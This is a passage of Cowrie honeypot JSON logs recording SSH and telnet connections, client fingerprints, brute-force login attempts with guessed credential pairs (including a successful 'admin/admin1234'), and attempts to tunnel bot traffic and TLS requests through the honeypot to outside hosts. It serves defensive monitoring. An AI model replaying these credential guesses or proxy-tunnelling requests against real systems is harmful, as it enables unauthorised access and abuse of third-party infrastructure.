-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:24.694990Z","src_ip":"91.92.40.36","session":"c9e372a15b98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:24.741193Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.2 Safari/602.3.12\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cEc5ODdlX3tGcVE4JnhLNQ%3D%3D1geI2M8OrdAwiuI1%2FOgX%2Fhp7DO7gOMOxZTfyk9pc3hBZ2%2Bwin8eP6Fwpqkcur5HfsBjsAhC3bG17q0%2BXinBT043UT2w0bZJ8DlNSdalYGBS1DU5hbFTmojaEMWgl4aowWXkix2XTiLMxQSnVHa6rHZ3C6ditmBkCIWvxXr9Hisw5HHrbMGJFHfuW3%2FWDMraAZ9qHaKIO37S31guy31kL3p%2BkZzYbZDwAKq2XLRY5EjoRs%2FmHqeXgNqP6g3l8mG78iOj6O%2FY0zg19ObhCoS2f%2F7OYuK5pQmNeCA9N%2BOZ5zlygWrQqwuudx2h2hymYhqqYaiucohXtC32tr%2BKdHLECS7G%2FRF%2BxAvr0O9ASXo6y12HGnS%2BZnJBVI7Pl4bNy2xgWeFTusIgURUNbL1dYKrc%2FC1uJDChBBrtxio6OXaNF4Q4ap59mbJL0trYhtMdEvUOpjsQHaZ1J2efAxT4d%2FHbDPyjifCe3q7BdV%2FXUKBLHFDylgd165tWSHQ256LKqTarjp4guL1IxrUCiLDxcfggtCFcGDkF7O4wgZrf%2FQNR8gfGAxTBg3QB2GfFFN%2FSj%2BvMmecRz2QkR3RY3ucsAtGXhvQ6mZyJhmR8Ov3I9pmhA0er1dVSnK3eYabAvVJOYd9BQD1X6fcsONfbHs2YMBSxzkxvAa6ZjYQTXddZDPjUWEOSs0fEbawY9vDiO88wuqF41Emw9cqngwmIORdKe5RlnI4NedQi%2BXH9YnBqegXkjtfCvsZeVciXuola0NQmeDg7smRWcaBG2iZ4OKoGOvYIxwA1RcA1Hw7hkJhk2Z6r3KjzGzKZueZDfZwmPf0ytjxY5NkkJsB8OGGbU74kD2%2Fg2jziB2OeKN8swSp8gaOB%2FC45%2BOqQZ28uqAvBMg8Y4%2FicxZXi69rF5sjWc3XD3SIO3gErResYAiJy2Aw2K94hjSwl2go4%2B5KEx6xPQBlY9XaNtSCM2IBnkiAs6zz%2BmWjy0IJM%2BDAf9n%2BSB8mihVUQnc%2BT%2BDDGjqfbo1mOANno%2Fm9ml1OxaaMj%2FH5dQoBGy3Blm7XdQJbp%2F2%2BWnrFtx2O5N%2B4g%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.2 Safari/602.3.12\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cEc5ODdlX3tGcVE4JnhLNQ%3D%3D1geI2M8OrdAwiuI1%2FOgX%2Fhp7DO7gOMOxZTfyk9pc3hBZ2%2Bwin8eP6Fwpqkcur5HfsBjsAhC3bG17q0%2BXinBT043UT2w0bZJ8DlNSdalYGBS1DU5hbFTmojaEMWgl4aowWXkix2XTiLMxQSnVHa6rHZ3C6ditmBkCIWvxXr9Hisw5HHrbMGJFHfuW3%2FWDMraAZ9qHaKIO37S31guy31kL3p%2BkZzYbZDwAKq2XLRY5EjoRs%2FmHqeXgNqP6g3l8mG78iOj6O%2FY0zg19ObhCoS2f%2F7OYuK5pQmNeCA9N%2BOZ5zlygWrQqwuudx2h2hymYhqqYaiucohXtC32tr%2BKdHLECS7G%2FRF%2BxAvr0O9ASXo6y12HGnS%2BZnJBVI7Pl4bNy2xgWeFTusIgURUNbL1dYKrc%2FC1uJDChBBrtxio6OXaNF4Q4ap59mbJL0trYhtMdEvUOpjsQHaZ1J2efAxT4d%2FHbDPyjifCe3q7BdV%2FXUKBLHFDylgd165tWSHQ256LKqTarjp4guL1IxrUCiLDxcfggtCFcGDkF7O4wgZrf%2FQNR8gfGAxTBg3QB2GfFFN%2FSj%2BvMmecRz2QkR3RY3ucsAtGXhvQ6mZyJhmR8Ov3I9pmhA0er1dVSnK3eYabAvVJOYd9BQD1X6fcsONfbHs2YMBSxzkxvAa6ZjYQTXddZDPjUWEOSs0fEbawY9vDiO88wuqF41Emw9cqngwmIORdKe5RlnI4NedQi%2BXH9YnBqegXkjtfCvsZeVciXuola0NQmeDg7smRWcaBG2iZ4OKoGOvYIxwA1RcA1Hw7hkJhk2Z6r3KjzGzKZueZDfZwmPf0ytjxY5NkkJsB8OGGbU74kD2%2Fg2jziB2OeKN8swSp8gaOB%2FC45%2BOqQZ28uqAvBMg8Y4%2FicxZXi69rF5sjWc3XD3SIO3gErResYAiJy2Aw2K94hjSwl2go4%2B5KEx6xPQBlY9XaNtSCM2IBnkiAs6zz%2BmWjy0IJM%2BDAf9n%2BSB8mihVUQnc%2BT%2BDDGjqfbo1mOANno%2Fm9ml1OxaaMj%2FH5dQoBGy3Blm7XdQJbp%2F2%2BWnrFtx2O5N%2B4g%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:24.744497Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:25.015505Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\x9c\\xb9G~\\x84\"\\xcb\\x0b>\\xce\\xa9\\x03\\x88\\x9a\\x83\\xe4\\x1d\\xe8;\\xbf\\xfc%\\x06\\xf6\\xebG\\xde\\xdc\\xd7\\x8f. \\xba\\r\\x8e<!\\xa2f\\xfe\\xcaju\\xed\\x1e\\xf9|\\xcbn\\xd3\\x00O\\x84\\xf8\\xa0Z\\xb9\\x16\\xb54G\\xb2\\xd1\\t\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7\\x15\\xaa\\xb7Mb3>w\\xdeC\\xe8\\x13^\\xf0\\x94\\x0f=$\\xb9\\x82\\xb3] n\\xd6\\xe6\\x86|K\\x99n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\x9c\\xb9G~\\x84\"\\xcb\\x0b>\\xce\\xa9\\x03\\x88\\x9a\\x83\\xe4\\x1d\\xe8;\\xbf\\xfc%\\x06\\xf6\\xebG\\xde\\xdc\\xd7\\x8f. \\xba\\r\\x8e<!\\xa2f\\xfe\\xcaju\\xed\\x1e\\xf9|\\xcbn\\xd3\\x00O\\x84\\xf8\\xa0Z\\xb9\\x16\\xb54G\\xb2\\xd1\\t\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7\\x15\\xaa\\xb7Mb3>w\\xdeC\\xe8\\x13^\\xf0\\x94\\x0f=$\\xb9\\x82\\xb3] n\\xd6\\xe6\\x86|K\\x99n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:25.019062Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:25.567510Z","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:25.848447Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03F\\x13\\xeb\\x16\\x9bA\\xfe\\xca\\xd84\\x05\"\\xcaIh\\xca\\x80\\xad.$=\\x1e\\x1a\\xe90\\xbfw\\xfa\\xd3\\xb0\\x80\\t e=\\xa4R\\xa5\\x181\\xf591\\r]\\x92v|\\xf5\\xa9(\\xed\\xdd\\x03\\xb2\\xa2\\xd9\\xb4p>\\x8a\\x90&5\\xb0\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 j\\x07\\xa2\\xc6W\\x02jR\\xf2Ml\\x94\\xdeZ?\\x19\\xec\\x87I\\xf2\\xf6w\\x8a\\xa3li\\xb0\\xd3\\xd2\\xb5G}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03F\\x13\\xeb\\x16\\x9bA\\xfe\\xca\\xd84\\x05\"\\xcaIh\\xca\\x80\\xad.$=\\x1e\\x1a\\xe90\\xbfw\\xfa\\xd3\\xb0\\x80\\t e=\\xa4R\\xa5\\x181\\xf591\\r]\\x92v|\\xf5\\xa9(\\xed\\xdd\\x03\\xb2\\xa2\\xd9\\xb4p>\\x8a\\x90&5\\xb0\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 j\\x07\\xa2\\xc6W\\x02jR\\xf2Ml\\x94\\xdeZ?\\x19\\xec\\x87I\\xf2\\xf6w\\x8a\\xa3li\\xb0\\xd3\\xd2\\xb5G}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:25.851554Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:26.252817Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":55287,"dst_ip":"10.17.0.5","dst_port":22,"session":"edcbe2053c9b","protocol":"ssh","message":"New connection: 23.175.50.47:55287 (10.17.0.5:22) [session: edcbe2053c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:26.947460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:26.952878Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:27.043496Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brookelyn","password":"brookelyn","message":"login attempt [brookelyn/brookelyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:27.115786Z","src_ip":"91.92.40.36","session":"c9e372a15b98","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:29.168391Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:29.266756Z","src_ip":"91.92.40.36","session":"c9e372a15b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":53040,"dst_ip":"159.203.135.109","dst_port":23,"session":"91101851d1fa","protocol":"telnet","message":"New connection: 103.249.87.183:53040 (159.203.135.109:23) [session: 91101851d1fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:31.536405Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39698,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b62f517b594","protocol":"ssh","message":"New connection: 91.92.40.36:39698 (159.203.135.109:22) [session: 4b62f517b594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:32.026791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:33.002434Z","src_ip":"91.92.40.36","session":"4b62f517b594","protocol":"ssh"}
